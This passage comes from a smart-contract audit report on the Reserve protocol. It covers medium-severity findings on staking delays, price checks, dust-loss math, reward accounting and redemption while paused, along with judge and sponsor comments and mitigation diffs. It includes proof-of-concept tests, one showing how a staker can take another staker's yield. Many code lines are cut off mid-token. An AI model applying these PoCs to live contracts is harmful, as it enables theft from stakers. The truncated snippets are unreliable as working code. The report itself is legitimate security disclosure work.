- Bob unstaked (create a draft) 1 wei of RSR
- Unstaking delay was changed to 2 weeks
- Both Bob and Alice unstake their remaining stake
- Alice can withdraw her stake after 2 weeks
- Bob has to wait 6 months in order to withdraw both that 1 wei and the remaining of the stake

```
diff --git a/test/ZZStRSR.test.ts b/test/ZZStRSR.test.ts
index f507cd50..3312686a 100644
--- a/test/ZZStRSR.test.ts
+++ b/test/ZZStRSR.test.ts
@@ -599,6 +599,8 @@ describe(`StRSRP${IMPLEMENTATION} contract`,
       let amount2: BigNumber
       let amount3: BigNumber

+      let sixMonths = bn(60*60*24*30*6);
+
       beforeEach(async () => {
         stkWithdrawalDelay = bn(await stRSR.unstakingDelay()).t

@@ -608,18 +610,56 @@ describe(`StRSRP${IMPLEMENTATION} contract
         amount3 = bn('3e18')

         // Approve transfers
-        await rsr.connect(addr1).approve(stRSR.address, amount1
+        await rsr.connect(addr1).approve(stRSR.address, amount1
         await rsr.connect(addr2).approve(stRSR.address, amount2
```

```
+
         // Stake
-        await stRSR.connect(addr1).stake(amount1)
+        await stRSR.connect(addr1).stake(amount1.add(1))
         await stRSR.connect(addr2).stake(amount2)
         await stRSR.connect(addr2).stake(amount3)

-        // Unstake - Create withdrawal
-        await stRSR.connect(addr1).unstake(amount1)
+        // here
+        let sixMonths = bn(60*60*24*30*6);
+        // gov thinks it's a good idea to set delay to 6 months
+        await expect(stRSR.connect(owner).setUnstakingDelay(six
+        .to.emit(stRSR, 'UnstakingDelaySet')
+        .withArgs(config.unstakingDelay, sixMonths);
+
+        // Poor Bob created a draft when unstaking delay was 6
+        await stRSR.connect(addr1).unstake(bn(1))
+
+        // gov revise their previous decision and set unstaking
+        await expect(stRSR.connect(owner).setUnstakingDelay(cor
+        .to.emit(stRSR, 'UnstakingDelaySet')
+        .withArgs(sixMonths, config.unstakingDelay);
+
+        // now both Bob and Alice decide to unstake
+        await stRSR.connect(addr1).unstake(amount1);
+        await stRSR.connect(addr2).unstake(amount2);
+
+      })
+
+      it('PoC user 1 can\'t withdraw', async () => {
+        // Get current balance for user
+        const prevAddr1Balance = await rsr.balanceOf(addr1.addr
+
+        // 6 weeks have passed, much more than current delay
+        await advanceTime(stkWithdrawalDelay * 3)
+
+
+        // Alice can happily withdraw her stake
+        await stRSR.connect(addr2).withdraw(addr2.address, 1)
+        // Bob can't withdraw his stake and has to wait 6 month
+        // Bob is now very angry and wants to talk to the manag
+        await expect(stRSR.connect(addr1).withdraw(addr1.addres
+          'withdrawal unavailable'
+        )
+
```

```
+
        })

+       return; // don't run further test
        it('Should revert withdraw if Main is paused', async () =
          // Get current balance for user
          const prevAddr1Balance = await rsr.balanceOf(addr1.addr
@@ -1027,6 +1067,7 @@ describe(`StRSRP${IMPLEMENTATION} contract
        })
      })
    })
+   return; // don't run further test

    describe('Add RSR / Rewards', () => {
      const initialRate = fp('1')
```

Recommended Mitigation Steps

Allow users to use current delay even if it was previously higher. I think this should apply not only to new drafts but also for drafts that were created before the change.

Alternatively, the protocol can set a rule that even if the staking delay was lowered stakers have to wait at least the old delay since the change till they can withdraw. But in this case the rule should apply to everybody regardless if they have pending drafts or not.

Oxean (judge) commented:

> Ultimately this feels like a design tradeoff. I do agree that the UX would be better if the most recent value was used, but it can cut both ways if the delay is increased.

Oxean (judge) decreased severity to Medium

pmckelvy1 (Reserve) acknowledged via duplicate issue #151

[M-20] Shortfall might be calculated incorrectly if a price value for one collateral isn't fetched correctly

Submitted by severity

Function `price()` of an asset doesn't revert. It returns values `(0, FIX_MAX)` for `low, high` values of price in case there's a problem with fetching it. Code that calls `price()` is able to validate returned values to detect that returned price is incorrect.

Inside function `collateralShortfall()` of `RecollateralizationLibP1` collateral price isn't checked for correctness. As a result incorrect value of `shortfall` might be calculated if there are difficulties to fetch a price for one of the collaterals.

Proof of Concept

https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/mixins/RecollateralizationLib.sol#L449

Recommended Mitigation Steps

Check that price is correctly fetched for a collateral.

0xean (judge) commented:

> Mitigation here is a little challenging to understand considering checking a price is hard on chain and hence the concern.

> I think this issue is a bit too general, but would like further comments.

tbrent (Reserve) acknowledged and commented:

> I think this issue is real, but it happens in a super-corner-case that I doubt the warden is thinking about.

> Some related statements:

- `prepareRecollateralizationTrade` checks that all collateral in the basket is SOUND before calling `collateralShortfall`
- From `docs/collateral.md`: "Should return `(0, FIX_MAX)` if pricing data is unavailable or stale."

> `collateralShortfall` should never reach a collateral with `FIX_MAX` high price in the normal flow of things.

> But, it is possible for one RToken system instance to have an `RTokenAsset` registered for a 2nd RToken. In this case, it could be that RToken 2 contains a collateral plugin that is now connected to a broken oracle, but RToken 2 may not have recognized this yet. When RToken 1 calls `RTokenAsset.price()`, it could end up reverting because of overflow in this line from `collateralShortfall`:

> shortfall = shortfall.plus(needed.minus(held).mul(priceHigh, CEIL));

> So I think it's a real issue, and I would even leave it as Medium severity.

tbrent (Reserve) mitigated:

> This PR simplifies and improves the basket range formula. The new logic should provide much tighter basket range estimates and result in smaller haircuts. reserve-protocol/protocol#585

Status: Mitigation confirmed with comments. Full details in reports from HollaDieWaldfee, 0xA5DF, and AkshaySrivastav.

[M-21] Loss of staking yield for stakers when another user stakes in pause/frozen state

Submitted by Soosh*, also found by* __141345__

It is possible for a user to steal the yield from other stakers by staking when the system is paused or frozen.

This is because staking is allowed while paused/frozen, but `_payoutRewards()` is not called during so. Staking rewards are not paid out to current stakers when a new staker stakes, so the new staker immediately gets a portion of the rewards, without having to wait for a reward period.

```
function stake(uint256 rsrAmount) external {
        require(rsrAmount > 0, "Cannot stake zero");
```

```
        if (!main.pausedOrFrozen()) _payoutRewards();
        ...
    }
```

Proof of concept

A test case can be included in `ZZStRSR.test.ts` under 'Add RSR / Rewards':

```
    it('Audit: Loss of staking yield for stakers when another us
      await rsr.connect(addr1).approve(stRSR.address, stake)
      await stRSR.connect(addr1).stake(stake)

      await advanceTime(Number(config.rewardPeriod) * 5)
      await main.connect(owner).pause()

      await rsr.connect(addr2).approve(stRSR.address, stake)
      await stRSR.connect(addr2).stake(stake)

      await main.connect(owner).unpause()

      await stRSR.connect(addr1).unstake(stake)
      await stRSR.connect(addr2).unstake(stake)
      await advanceTime(Number(config.unstakingDelay) + 1)

      await stRSR.connect(addr1).withdraw(addr1.address, 1)
      await stRSR.connect(addr2).withdraw(addr2.address, 1)
      const addr1RSR = await rsr.balanceOf(addr1.address)
      const addr2RSR = await rsr.balanceOf(addr2.address)
      console.log(`addr1 RSR = ${addr1RSR}`)
      console.log(`addr2 RSR = ${addr2RSR}`)
      expect(Number(addr1RSR)).to.be.approximately(Number(addr2F
    })
```

Note that `await advanceTime(Number(config.rewardPeriod) * 5)` can be before or after the pause, same result will occur.

Run with:

```
yarn test:p1 --grep "Audit"
```

Output:

```
addr1 RSR = 100005455056898180612l6
addr2 RSR = 100005455056898180612l4

  StRSRP1 contract
    Add RSR / Rewards
      ✓ Audit: Loss of staking yield for stakers when another u

  1 passing (2m)
```

The PoC demonstrates that the staker2 stole half of the rewards from staker1. staker1 staked for 5 `rewardPeriod`, staker2 did not have to wait at all, but still received half of the reward share.

Impact

This should fall into “Theft of unclaimed yield”, suggesting High risk. But the amount of RSR that can be stolen depends on the liveliness of the staking pool (how often `_payoutRewards()` is called). If the time window between the last `stake(...)/unstake(...)/payoutRewards(...)` and `pause()/freezeUntil(...)` is small, then no/less RSR yield can be stolen.

`system-design.md` rewardPeriod:

```
Default value: `86400` = 1 day
Mainnet reasonable range: 10 to 31536000 (1 year)
```

For RTokens which choose a smaller value for `rewardPeriod`, the risk is higher. If `rewardPeriod = 86400` like recommended, then for this attack to occur, no one must have called `stake(...)/unstake(...)/payoutRewards(...)` for 1 day before the pause/freeze occured.

Likelihood is Low for a reasonably set `rewardPeriod` and lively project. Therefore submitting as Medium risk.

Recommendations

I’m unsure of why staking is allowed when paused/frozen and the reason for the line:

```
if (!main.pausedOrFrozen()) _payoutRewards();
```

The team should consider the reason for the above logic.

If the above logic is required, then I would suggest that `poke()` in `Main.sol` be called inside of `pause()` and `freezeUntil(...)` to update the state **before** pausing/freezing. Since `distribute(...)` has modifier `notPausedOrFrozen`, I would assume in pause/frozen state, no RSR is sent to stRSR contract (i.e. no rewards when paused/frozen) so this recommendation should be sufficient in preventing the issue.

pmckelvy1 (Reserve) confirmed

tbrent (Reserve) mitigated:

```
This PR makes the AssetRegistry more resilient to bad collateral
```

> reserve-protocol/protocol#623

Status: Mitigation confirmed. Full details in reports from HollaDieWaldfee, 0xA5DF, and AkshaySrivastav.

[M-22] RecollateralizationLib: Dust loss for an asset should be capped at it's low value

Submitted by HollaDieWaldfee

The `RecollateralizationLib.basketRange` function (https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/mixins/RecollateralizationLib.sol#L152-L202) internally calls the `RecollateralizationLib.totalAssetValue` function (https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/mixins/RecollateralizationLib.sol#L226-L281).

I will show in this report that the `RecollateralizationLib.totalAssetValue` function returns a value for `assetsLow` that is too low.

This in turn causes the `range.bottom` value (https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/mixins/RecollateralizationLib.sol#L201) that the `RecollateralizationLib.basketRange` function returns to be too low.

Before showing why the `assetsLow` value is underestimated however I will explain the impact of the `range.bottom` variable being too low.

There are two places where this value is used:

1. `RecollateralizationLib.prepareRecollateralizationTrade` function

This function passes the `range` to the `RecollateralizationLib.nextTradePair` function (https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/mixins/RecollateralizationLib.sol#L88-L91)

Since `range.bottom` is too low, the `needed` amount is too low (https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/mixins/RecollateralizationLib.sol#L380).

This causes the `if` statement to not be executed in some cases when it otherwise would be executed (https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/mixins/RecollateralizationLib.sol#L381-L396).

And the `amtShort` is smaller than it should be (https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/mixins/RecollateralizationLib.sol#L391).

In the end this causes recollateralization trades to not buy as much assets as they could buy. This is because the amount of assets is underestimated so the protocol can actually hold more baskets than it thinks it can.

Therefore underestimating `assetsLow` causes a direct loss to RToken holders because the protocol will not recollateralize the RToken to the level that it can and should.

2. Price calculations of `RTokenAsset`

A `RTokenAsset` uses the `RecollateralizationLib.basketRange` function to calculate its value:

https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/plugins/assets/RTokenAsset.sol#L156

The `RTokenAsset` therefore underestimates its `low` and `lotLow` prices:

https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/plugins/assets/RTokenAsset.sol#L58

https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/plugins/assets/RTokenAsset.sol#L99

This then can lead to issues in any places where the prices of `RTokenAsset` s are used.

Proof of Concept

Here is the affected line:

https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/mixins/RecollateralizationLib.sol#L275

```
potentialDustLoss = potentialDustLoss.plus(rules.minTradeVolume)
```

This line is executed for every asset in the `AssetRegistry` (https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/mixins/RecollateralizationLib.sol#L242).

So for every asset in the `AssetRegistry` a potential dust loss of `minTradeVolume` is added.

The following scenario shows why this is wrong:

```
assume minTradeVolume = $50

assume further the following:
asset1 with low value $1
asset2 with low value $1
asset3 with low value $1
asset4 with low value $200

Currently potentialDustLoss will be 4*minTradeVolume = $200.
So assetsLow = $203 - $200 = $3.

Dust loss should not be calculated with $50 for the first 3 asse
Dust loss for an asset should be capped at its low value.
So dust loss alltogether should be $1 + $1 + $1 + $50 = $53.

So assetsLow should be $1+$1+$1+$200 - $53 = $150.
```

Tools Used

VSCode

Recommended Mitigation Steps

I suggest that an asset can only incur as much dust loss as its balance is.

If the protocol only holds `$5` of asset A then this should not cause a dust loss of say `$10`.

The fix first saves the `assetLow` value which should be saved to memory because it is now needed two times then it caps the dust loss of an asset at its low value:

```
diff --git a/contracts/p1/mixins/RecollateralizationLib.sol b/cc
index 648d1813..b5b86cac 100644
--- a/contracts/p1/mixins/RecollateralizationLib.sol
+++ b/contracts/p1/mixins/RecollateralizationLib.sol
@@ -261,7 +261,8 @@ library RecollateralizationLibP1 {

             // Intentionally include value of IFFY/DISABLED col
             // {UoA} = {UoA} + {UoA/tok} * {tok}
-            assetsLow += low.mul(bal, FLOOR);
+            uint192 assetLow = low.mul(bal,FLOOR);
+            assetsLow += assetLow;
             // += is same as Fix.plus

             // assetsHigh += high.mul(bal, CEIL), where assetsH
@@ -272,7 +273,7 @@ library RecollateralizationLibP1 {
             // += is same as Fix.plus

             // Accumulate potential losses to dust
-            potentialDustLoss = potentialDustLoss.plus(rules.mi
+            potentialDustLoss = potentialDustLoss.plus(fixMin(r
         }

         // Account for all the places dust could get stuck
```

Oxean (judge) commented:

> It would have been beneficial for the warden to use more realistic values for these trades with the full integer values to show how much of an actual impact this has when we are talking about tokens with 6 or more decimals. Will leave open for sponsor comment.

pmckelvy1 (Reserve) disputed

tbrent (Reserve) commented:

> The balance of the asset before trading has nothing to do with how much value can potentially be lost when we try to *trade into* that asset.

tbrent (Reserve) confirmed and commented:

> On further thought, this is not really a good response. We have access to the UoA from the asset, and we could use that to potentially limit the contribution to `potentialDustLoss`.

tbrent (Reserve) mitigated:

> This PR simplifies and improves the basket range formula. The new logic should provide much tighter basket range estimates and result in smaller haircuts. reserve-protocol/protocol#585

Status: Mitigation confirmed. Full details in reports from HollaDieWaldfee and 0xA5DF.

[M-23] StRSR: seizeRSR function fails to update rsrRewardsAtLastPayout variable

Submitted by HollaDieWaldfee

https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/StRSR.sol#L374-L422
https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/StRSR.sol#L596-L598
https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/StRSR.sol#L496-L530

If a RToken is under-collateralized, the `BackingManager` can call the `StRSR.seizeRSR` function (https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/BackingManager.sol#L141).

This sends some amount of `rsr` held by the `StRSR` contract to the `BackingManager` which can then be traded for other tokens in order to recollateralize the RToken.

There are 3 pools of `rsr` in the `StRSR` contract that `StRSR.seizeRSR` claims `rsr` from.

1. `stakeRSR` (https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/StRSR.sol#L386-L398)
2. `draftRSR` (https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/StRSR.sol#L401-L414)
3. rewards (https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/StRSR.sol#L417)

The `rsr` taken from the rewards is what is interesting in this report.

The issue is that the `StRSR._payoutRewards` function (which is used to pay `rsr` rewards to stakers over time) keeps track of the available rewards to distribute in the `rsrRewardsAtLastPayout` variable (https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/StRSR.sol#L517).

When the `StRSR.seizeRSR` function is called (taking away rewards and sending them to the `BackingManager`) and after that `StRSR._payoutRewards` is called, `StRSR._payoutRewards` uses the `rsrRewardsAtLastPayout` variable that was set before the seizure (the actual amount of rewards is smaller after the seizure).

Thereby the amount by which `StRSR.stakeRSR` is increased (https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/StRSR.sol#L513) when rewards are paid out can be greater than the actual rewards that are available.

Proof of Concept and further assessment of Impact

The fact that the `rsrRewardsAtLastPayout` variable is too big after a call to `StRSR.seizeRSR` has two consequences when `StRSR._payoutRewards` is called:

1. `stakeRSR` is increased by an amount that is larger than it should be (https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/StRSR.sol#L513)
2. `stakeRate` (which uses division by `stakeRSR` when calculated) is smaller than it should be (https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/StRSR.sol#L524-L526)

Both affected variables can in principle be off by a large amount. In practice this is not likely because the rewards paid out will be small in comparison to `stakeRSR`.

Also after a second call to `StRSR._payoutRewards` all variables are in sync again and the problem has solved itself. The excess payouts are then accounted for by the `StRSR.rsrRewards` function.

So there is a small amount of time for any real issue to occur and there does not always occur an issue when `StRSR.seizeRSR` is called.

That being said, the behavior described so far can cause a temporary DOS:

In `StRSR._payoutRewards`, `stakeRSR` is increased (https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/StRSR.sol#L513), then `StRSR.rsrRewards` is called which calculates `rsr.balanceOf(address(this)) - stakeRSR - draftRSR` (https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/StRSR.sol#L596-L598).

The falsely paid out amount of rewards can increase `StRSR.stakeRSR` so much that this line reverts due to underflow.

This can cause DOS when `StRSR.seizeRSR` is called again because it internally calls `StRSR.rsrRewards`.

This will solve itself when more `rsr` accumulates in the contract due to revenue which makes the balance increase or someone can just send `rsr` and thereby

increase the balance.

The DOS occurs also in all functions that internally call `StRSR._payoutRewards` (`StRSR.stake` and `StRSR.unstake`):

https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/StRSR.sol#L215

https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/StRSR.sol#L262

Overall the impact of this on the average RToken is quite limited but as explained above it can definitely cause issues.

Tools Used

VSCode

Recommended Mitigation Steps

When `StRSR.seizeRSR` is called, the `rsrRewardsAtLastPayout` variable should be set to the rewards that are available after the seizure:

```
diff --git a/contracts/p1/StRSR.sol b/contracts/p1/StRSR.sol
index 8fe1c3e7..4f9ea736 100644
--- a/contracts/p1/StRSR.sol
+++ b/contracts/p1/StRSR.sol
@@ -419,6 +419,7 @@ abstract contract StRSRP1 is Initializable,
         // Transfer RSR to caller
         emit ExchangeRateSet(initRate, exchangeRate());
         IERC20Upgradeable(address(rsr)).safeTransfer(_msgSender
+        rsrRewardsAtLastPayout = rsrRewards();
     }
```

pmckelvy1 (Reserve) confirmed

tbrent (Reserve) commented:

> Addressed here: https://github.com/reserve-protocol/protocol/pull/584

Status: Mitigation confirmed with comments. Full details in reports from 0xA5DF, HollaDieWaldfee, and AkshaySrivastav.

[M-24] BasketHandler: Users might not be able to redeem their rToken when protocol is paused due to refreshBasket function

Submitted by HollaDieWaldfee

https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/RToken.sol#L439-L514
https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/RToken.sol#L448
https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/BasketHandler.sol#L183-L192

The Reserve protocol allows redemption of rToken even when the protocol is `paused`.

The `docs/system-design.md` documentation describes the `paused` state as:

> all interactions disabled EXCEPT RToken.redeem + RToken.cancel + ERC20 functions + StRSR.stake

Redemption of rToken should only ever be prohibited when the protocol is in the `frozen` state.

You can see that the `RToken.redeem` function (https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/RToken.sol#L439-L514) has the `notFrozen` modifier so it can be called when the protocol is in the `paused` state.

The issue is that this function relies on the `BasketHandler.status()` to not be `DISABLED` (https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/RToken.sol#L448).

The `BasketHandler.refreshBasket` function (https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/BasketHandler.sol#L183-L192) however, which must be called to get the basket out of the `DISABLED` state, cannot be called by any user when the protocol is paused.

When the protocol is paused it can only be called by the governance (OWNER) address.

So in case the basket is `DISABLED` and the protocol is paused, it is the governance that must call `refreshBasket` to allow redemption of rToken.

This is dangerous because redemption of rToken should not rely on governance to perform any actions such that users can get out of the protocol when there is something wrong with the governance technically or if the governance behaves badly.

Proof of Concept

The `RToken.redeem` function has the `notFrozen` modifier so it can be called when the protocol is paused (https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/RToken.sol#L439).

The `BasketHandler.refreshBasket` function can only be called by the governance when the protocol is paused:

https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/BasketHandler.sol#L186-L190

```
    require(
        main.hasRole(OWNER, _msgSender()) ||
```

```
            (status() == CollateralStatus.DISABLED && !main.pausedOr
        "basket unrefreshable"
    );
```

Therefore the situation exists where rToken redemption should be possible but it is blocked by the `BasketHandler.refreshBasket` function.

Tools Used

VSCode

Recommended Mitigation Steps

The `BasketHandler.refreshBasket` function should be callable by anyone when the `status()` is `DISABLED` and the protocol is `paused`.

So the above `require` statement can be changed like this:

```
diff --git a/contracts/p1/BasketHandler.sol b/contracts/p1/Baske
index f74155b1..963e29de 100644
--- a/contracts/p1/BasketHandler.sol
+++ b/contracts/p1/BasketHandler.sol
@@ -185,7 +185,7 @@ contract BasketHandlerP1 is ComponentP1, IBa

         require(
             main.hasRole(OWNER, _msgSender()) ||
-                (status() == CollateralStatus.DISABLED && !mair
+                (status() == CollateralStatus.DISABLED && !mair
             "basket unrefreshable"
         );
         _switchBasket();
```

It was discussed with the sponsor that they might even allow rToken redemption when the basket is `DISABLED`.

In other words only disallow it when the protocol is `frozen`.

This however needs further consideration by the sponsor as it might negatively affect other aspects of the protocol that are beyond the scope of this report.

0xean (judge) commented:

> I believe this to be a design choice. Will leave open to sponsor review and most likely downgrade to QA.

pmckelvy1 (Reserve) acknowledged

0xean (judge) commented:

> The warden identified a state that was inconsistent with sponsors expectations since they acknowledged the issue, I believe this should be Medium as it does affect the availability of the protocol.

tbrent (Reserve) mitigated:

> This PR enables redemption while the basket is DISABLED: reserve-protocol/protocol#575

Status: Mitigation confirmed. Full details in reports from 0xA5DF, HollaDieWaldfee, and AkshaySrivastav.

[M-25] BackingManager: rTokens might not be redeemable when protocol is paused due to missing token allowance

Submitted by HollaDieWaldfee*, also found by* unforgiven

https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/RToken.sol#L439-L514
https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/BackingManager.sol#L72-L77

The Reserve protocol allows redemption of rToken even when the protocol is `paused`.

The `docs/system-design.md` documentation describes the `paused` state as:

> all interactions disabled EXCEPT RToken.redeem + RToken.cancel + ERC20 functions + StRSR.stake

Redemption of rToken should only ever be prohibited when the protocol is in the `frozen` state.

The issue is that the `RToken.redeem` function (https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/RToken.sol#L439-L514) relies on the `BackingManager.grantRTokenAllowance` function (https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/BackingManager.sol#L72-L77) to be called before redemption.

Also the only function that relies on `BackingManager.grantRTokenAllowance` to be called before is `RToken.redeem`.

Therefore `BackingManager.grantRTokenAllowance` can be called at any time before a specific ERC20 needs first be transferred from the `BackingManager` for the purpose of redemption of rToken.

The issue is that the `BackingManager.grantRTokenAllowance` function has the `notPausedOrFrozen` modifier. This means it cannot (in contrast to `RToken.redeem`) be called when the protocol is `paused`.

Therefore if rToken is for the first time redeemed for a specific ERC20 in a `paused` protocol state, `BackingManager.grantRTokenAllowance` might not have been called before.

This effectively disables redemption of rToken as long as the protocol is `paused` and is clearly against the usability / economic considerations to allow redemption in the `paused` state.

Proof of Concept

For simplicity assume there is an rToken backed by a single ERC20 called AToken

1. rToken is issued and AToken is transferred to the `BackingManager`.

2. The protocol goes into the `paused` state before any redemptions have occurred. So the `BackingManager.grantRTokenAllowance` function might not have been called at this point.
3. Now the protocol is `paused` which should allow redemption of rToken but it is not possible because the AToken allowance cannot be granted since the `BackingManager.grantRTokenAllowance` function cannot be called in the `paused` state.

Another scenario is when the basket of a RToken is changed to include an ERC20 that was not included in the basket before. If the protocol now goes into the `paused` state without `BackingManager.grantRTokenAllowance` being called before, redemption is not possible.

Tools Used

VSCode

Recommended Mitigation Steps

The `BackingManager.grantRTokenAllowance` function should use the `notFrozen` modifier instead of the `notPausedOrFrozen` modifier such that allowance can be granted in the `paused` state:

```
diff --git a/contracts/p1/BackingManager.sol b/contracts/p1/Back
index 431e0796..7dfa29e9 100644
--- a/contracts/p1/BackingManager.sol
+++ b/contracts/p1/BackingManager.sol
@@ -69,7 +69,7 @@ contract BackingManagerP1 is TradingP1, IBacki
     // checks: erc20 in assetRegistry
     // action: set allowance on erc20 for rToken to UINT_MAX
     // Using two safeApprove calls instead of safeIncreaseAllow
-    function grantRTokenAllowance(IERC20 erc20) external notPau
+    function grantRTokenAllowance(IERC20 erc20) external notFro
         require(assetRegistry.isRegistered(erc20), "erc20 unreg
         // == Interaction ==
         IERC20Upgradeable(address(erc20)).safeApprove(address(m
```

Oxean (judge) commented:

> I think the warden does identify a possible state of the system that could be problematic, albeit highly unlikely to be realized. Leaving open for sponsor review.

pmckelvy1 (Reserve) confirmed

tbrent (Reserve) commented:

> Addressed here: https://github.com/reserve-protocol/protocol/pull/584

Status: Mitigation confirmed. Full details in reports from HollaDieWaldfee, 0xA5DF, and AkshaySrivastav.

Low Risk and Non-Critical Issues

For this contest, 41 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by **CodingNameKiki** received the top score from the judge.

The following wardens also submitted reports: brgltd, joestakey, Udsen, 0xSmartContract, 0xAgro, yongskiws, Aymen0909, Breeje, peanuts, 0xNazgul, Cyfrin, lukris02, delfin454000, luxartvinsec, lllllll, descharre, 0xA5DF, GalloDaSballo, cryptonue, __141345__, hihen, pedr02b2, carlitox477, SaharDevep, shark, BRONZEDISC, chrisdior4, tnevler, ladboy233, rotcivegaf, MyFDsYours, IceBear, Bnke0x0, Soosh, btk, chaduke, RaymondFam, Ruhum, HollaDieWaldfee, *and* Sathish9098.

Issues Overview

Letter	Name	Description
L	Low risk	Potential risk
NC	Non-critical	Non risky findings
R	Refactor	Changing the code
O	Ordinary	Often found issues

Total Found Issues	26

Low Risk Issues

Count	Explanation	Instances
[L-01]	Melt function should be only callable by the Furnance contract	1
[L-02]	Stake function shouldn’t be accessible, when the status is paused or frozen	1

Total Low Risk Issues	2

Non-Critical Issues

Count	Explanation	Instances
[N-01]	Create your own import names instead of using the regular ones	17
[N-02]	Max value can’t be applied in the setters	9
[N-03]	Using while for unbounded loops isn’t recommended	3
[N-04]	Inconsistent visibility on the bool “disabled”	2
[N-05]	Modifier exists, but not used when needed	6
[N-06]	Unused constructor	2
[N-07]	Unnecessary check in both the _mint and _burn function	2

Total Non-Critical Issues	7

Refactor Issues

Count	Explanation	Instances
[R-01]	Numeric values having to do with time should use time units for readability	5
[R-02]	Use require instead of assert	9
[R-03]	Unnecessary overflow check can be rafactored in a better way	1
[R-04]	If statement should check first, if the status is disabled	1
[R-05]	Some number values can be refactored with _	2
[R-	Revert should be used on some functions instead of return	9

Count	Explanation	Instances
06]		
[R-07]	Modifier can be applied on the function instead of creating require statement	2
[R-08]	Shorthand way to write if / else statement	1
[R-09]	Function should be deleted, if a modifier already exists doing its job	1
[R-10]	The right value should be used instead of downcasting from uint256 to uint192	2

Total Refactor Issues	10

Ordinary Issues

Count	Explanation	Instances
[O-01]	Code contains empty blocks	3
[O-02]	Use a more recent pragma version	17
[O-03]	Function Naming suggestions	6
[O-04]	Events is missing indexed fields	2
[O-05]	Proper use of get as a function name prefix	12
[O-06]	Commented out code	3
[O-07]	Value should be unchecked	1

Total Ordinary Issues	7

[L-01] Melt function should be only callable by the Furnance contract

The function `melt` in RToken.sol is supposed to be called only by Furnace.sol, but as how it is right now the function can be called by anyone. This is problematic considering that this function burns tokens, if a user calls it by mistake. His tokens will be lost and he won't be able to get them back.

contracts/p1/RToken.sol

```
569:  function melt(uint256 amtRToken) external notPausedOrFroze
570:        _burn(_msgSender(), amtRToken);
571:        emit Melted(amtRToken);
572:        requireValidBUExchangeRate();
573:    }
```

Consider applying a require statement in the function `melt` that the msg.sender is the furnance contract:

```
569:  function melt(uint256 amtRToken) external notPausedOrFroze
569:        require(_msgSender() == address(furnance), "not furr
570:        _burn(_msgSender(), amtRToken);
571:        emit Melted(amtRToken);
572:        requireValidBUExchangeRate();
573:    }
```

[L-02] Stake function shouldn't be accessible, when the status is paused or frozen

